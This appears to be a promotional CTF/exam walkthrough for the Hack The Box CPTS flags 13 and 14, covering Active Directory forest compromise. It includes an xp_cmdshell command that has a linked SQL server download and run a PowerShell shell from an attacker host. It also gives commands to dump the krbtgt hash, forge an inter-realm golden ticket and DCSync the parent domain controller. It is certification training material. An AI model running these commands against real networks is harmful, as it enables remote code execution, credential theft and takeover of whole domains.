The Enterprise Dominance Phase (Flags 13 & 14)
HTB CPTS Walkthrough: The Enterprise Dominance Phase (Flags 13 & 14)
Category: Hack The Box Certification Series • Advanced Tactics • Read Time: 12 min
You have breached the perimeter, traversed the internal subnets, and compromised your first Domain Controller. In a standard assessment, this might be the end. But in the Hack The Box CPTS exam, compromising a child domain is often just the prerequisite for the true objective: full Forest Dominance.
The final flags of the CPTS engagement test your ability to navigate complex enterprise architectures. This includes abusing inter-domain trusts, pivoting through linked database servers, and forging cryptographic tickets to compromise parent domains. Below is the methodological framework and generic command structure for tackling these advanced enterprise vectors.
Flag 13: Crossing Trust Boundaries & Linked Servers
Enterprise networks frequently rely on bidirectional or unidirectional trusts between distinct Active Directory domains. When standard authentication paths are blocked, penetration testers must look for application-level bridges, such as Microsoft SQL Server linked configurations. If a compromised database server links to another server in a trusted domain, you can execute commands across the forest boundary via RPC (Remote Procedure Calls).
By using specialized tools to crawl these links, you can map the database topology and identify execution pathways that bypass traditional network firewalls.
Get-DomainTrust -Verbose
# 2. Identify and Crawl MSSQL Linked Servers
Get-SQLServerLinkCrawl -Instance <COMPROMISED_DB_IP> -Verbose
# 3. Execute queries on a remote linked server via Impacket
impacket-mssqlclient <DOMAIN>/<USER>:<PASSWORD>@<COMPROMISED_DB_IP>
SQL> EXEC ('xp_cmdshell ''powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://<ATTACKER_IP>/shell.ps1'')"''') AT [<TARGET_LINKED_SERVER>]
All At One Place For Cyber
Vault07 by LOKI Store is your central hub for elite penetration testing resources. Stop struggling with cross-forest syntax and SQL link command failures. Get the exact, verified methodologies and commercial-grade documentation used by professionals to pass the CPTS.
Unlock the Complete CPTS Report →Flag 14: Forest Dominance & Golden Tickets
Once you achieve Domain Admin rights in a child domain, the final step is escalating to Enterprise Admin to control the entire forest. This is commonly achieved by abusing SID History in Kerberos tickets. By extracting the krbtgt hash of the compromised child domain and identifying the Enterprise Admin SID of the parent domain, you can forge an Inter-Realm Golden Ticket.
This forged ticket grants you unrestricted, persistent access across trust boundaries, allowing you to execute a DCSync attack against the parent Domain Controller and secure the final flag.
impacket-secretsdump -just-dc-user krbtgt <CHILD_DOMAIN>/<DA_USER>@<CHILD_DC_IP>
# 2. Forge the Golden Ticket with ExtraSIDs (Parent Enterprise Admin SID)
impacket-ticketer -nthash <CHILD_KRBTGT_HASH> -domain-sid <CHILD_DOMAIN_SID> -domain <CHILD_DOMAIN> -spn cifs/<PARENT_DC_FQDN> -extra-sid <PARENT_ENTERPRISE_ADMIN_SID> Administrator
# 3. Export the forged ticket into your session
export KRB5CCNAME=Administrator.ccache
# 4. DCSync the Parent Domain Controller
impacket-secretsdump -k -no-pass <PARENT_DOMAIN>/Administrator@<PARENT_DC_FQDN>
Master Your Active Directory Penetration Testing
Navigating forest trusts and forging tickets under exam pressure leaves zero room for syntax errors. Secure your certification by referencing our meticulously crafted, step-by-step CPTS documentation.
Get the Premium CPTS Walkthrough